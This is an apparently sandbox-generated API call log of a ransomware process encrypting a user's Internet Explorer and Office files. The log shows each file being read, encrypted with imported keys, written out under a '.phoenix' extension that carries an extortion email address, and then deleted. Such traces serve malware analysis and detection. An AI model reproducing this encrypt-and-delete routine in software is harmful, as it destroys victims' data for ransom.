	[0266.965] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Indexed DB\\edbtmp.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\indexed db\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0266.965] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.965] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.965] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Indexed DB\\edbtmp.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\indexed db\\edbtmp.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0266.966] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151200) returned 1
	[0266.966] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.966] ReadFile (in: hFile=0x254, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x80000, lpOverlapped=0x0) returned 1
	[0266.994] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80010, dwBufLen=0x80010 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80010) returned 1
	[0266.994] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x80010, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x80010, lpOverlapped=0x0) returned 1
	[0267.004] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1512c0) returned 1
	[0267.004] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.004] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0267.004] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0267.004] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0267.004] CryptDestroyKey (hKey=0x151200) returned 1
	[0267.004] CloseHandle (hObject=0x254) returned 1
	[0267.004] CloseHandle (hObject=0x2c4) returned 1
	[0267.004] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Indexed DB\\edbtmp.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\indexed db\\edbtmp.log")) returned 1
	[0267.032] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.032] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{9617C115-93E0-11E7-BFDA-E8DAAAF0A0ED}.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{9617c115-93e0-11e7-bfda-e8daaaf0a0ed}.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.033] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=6656) returned 1
	[0267.034] CloseHandle (hObject=0x244) returned 1
	[0267.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{9617C115-93E0-11E7-BFDA-E8DAAAF0A0ED}.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{9617c115-93e0-11e7-bfda-e8daaaf0a0ed}.dat")) returned 0x20
	[0267.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{9617C115-93E0-11E7-BFDA-E8DAAAF0A0ED}.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{9617c115-93e0-11e7-bfda-e8daaaf0a0ed}.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.034] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{9617C115-93E0-11E7-BFDA-E8DAAAF0A0ED}.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{9617c115-93e0-11e7-bfda-e8daaaf0a0ed}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.034] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.034] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.034] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{9617C115-93E0-11E7-BFDA-E8DAAAF0A0ED}.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{9617c115-93e0-11e7-bfda-e8daaaf0a0ed}.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.035] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1510c0) returned 1
	[0267.035] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.035] ReadFile (in: hFile=0x244, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1a00, lpOverlapped=0x0) returned 1
	[0267.056] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1a10, dwBufLen=0x1a10 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1a10) returned 1
	[0267.056] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1a10, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1a10, lpOverlapped=0x0) returned 1
	[0267.057] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0267.057] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.057] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa0, dwBufLen=0xa0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa0) returned 1
	[0267.057] CryptDestroyKey (hKey=0x151500) returned 1
	[0267.057] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x152, lpOverlapped=0x0) returned 1
	[0267.057] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0267.057] CloseHandle (hObject=0x244) returned 1
	[0267.057] CloseHandle (hObject=0x2c4) returned 1
	[0267.057] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{9617C115-93E0-11E7-BFDA-E8DAAAF0A0ED}.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{9617c115-93e0-11e7-bfda-e8daaaf0a0ed}.dat")) returned 1
	[0267.058] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.058] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Tiles\\pin-314712940\\msapplication.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\tiles\\pin-314712940\\msapplication.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.059] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=411) returned 1
	[0267.059] CloseHandle (hObject=0x2c4) returned 1
	[0267.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Tiles\\pin-314712940\\msapplication.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\tiles\\pin-314712940\\msapplication.xml")) returned 0x20
	[0267.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Tiles\\pin-314712940\\msapplication.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\tiles\\pin-314712940\\msapplication.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.059] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Tiles\\pin-314712940\\msapplication.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\tiles\\pin-314712940\\msapplication.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.059] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.059] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.059] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Tiles\\pin-314712940\\msapplication.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\tiles\\pin-314712940\\msapplication.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.060] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0267.060] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.060] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x19b, lpOverlapped=0x0) returned 1
	[0267.061] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1a0, dwBufLen=0x1a0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1a0) returned 1
	[0267.061] WriteFile (in: hFile=0x244, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1a0, lpOverlapped=0x0) returned 1
	[0267.061] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1512c0) returned 1
	[0267.061] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.062] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0267.062] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0267.062] WriteFile (in: hFile=0x244, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0267.080] CryptDestroyKey (hKey=0x151380) returned 1
	[0267.080] CloseHandle (hObject=0x2c4) returned 1
	[0267.080] CloseHandle (hObject=0x244) returned 1
	[0267.080] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Tiles\\pin-314712940\\msapplication.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\tiles\\pin-314712940\\msapplication.xml")) returned 1
	[0267.081] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.081] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\excel.exe_rules.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.081] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=214335) returned 1
	[0267.081] CloseHandle (hObject=0x244) returned 1
	[0267.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\excel.exe_rules.xml")) returned 0x20
	[0267.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\excel.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.081] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\excel.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.081] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.081] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.081] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\excel.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.084] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151540) returned 1
	[0267.084] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.084] ReadFile (in: hFile=0x244, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x3453f, lpOverlapped=0x0) returned 1
	[0267.147] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x34540, dwBufLen=0x34540 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x34540) returned 1
	[0267.147] WriteFile (in: hFile=0x254, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x34540, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x34540, lpOverlapped=0x0) returned 1
	[0267.150] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151040) returned 1
	[0267.150] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.150] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0267.150] CryptDestroyKey (hKey=0x151040) returned 1
	[0267.150] WriteFile (in: hFile=0x254, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0267.150] CryptDestroyKey (hKey=0x151540) returned 1
	[0267.150] CloseHandle (hObject=0x244) returned 1
	[0267.150] CloseHandle (hObject=0x254) returned 1
	[0267.151] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\excel.exe_rules.xml")) returned 1
	[0267.153] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.153] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msoia.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msoia.exe_rules.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.154] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1065) returned 1
	[0267.154] CloseHandle (hObject=0x254) returned 1
	[0267.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msoia.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msoia.exe_rules.xml")) returned 0x20
	[0267.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msoia.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msoia.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.154] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msoia.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msoia.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.154] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.154] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.154] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msoia.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msoia.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.155] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0267.155] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.155] ReadFile (in: hFile=0x254, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x429, lpOverlapped=0x0) returned 1
	[0267.225] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x430, dwBufLen=0x430 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x430) returned 1
	[0267.225] WriteFile (in: hFile=0x244, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x430, lpOverlapped=0x0) returned 1
	[0267.227] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151200) returned 1
	[0267.227] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.227] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0267.227] CryptDestroyKey (hKey=0x151200) returned 1
	[0267.227] WriteFile (in: hFile=0x244, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0267.227] CryptDestroyKey (hKey=0x151380) returned 1
	[0267.227] CloseHandle (hObject=0x254) returned 1
	[0267.227] CloseHandle (hObject=0x244) returned 1
	[0267.227] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msoia.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msoia.exe_rules.xml")) returned 1
	[0267.228] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.228] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\mspub.exe_rules.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.228] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=103937) returned 1
	[0267.228] CloseHandle (hObject=0x244) returned 1
	[0267.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\mspub.exe_rules.xml")) returned 0x20
	[0267.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\mspub.exe_rules.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.229] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\mspub.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
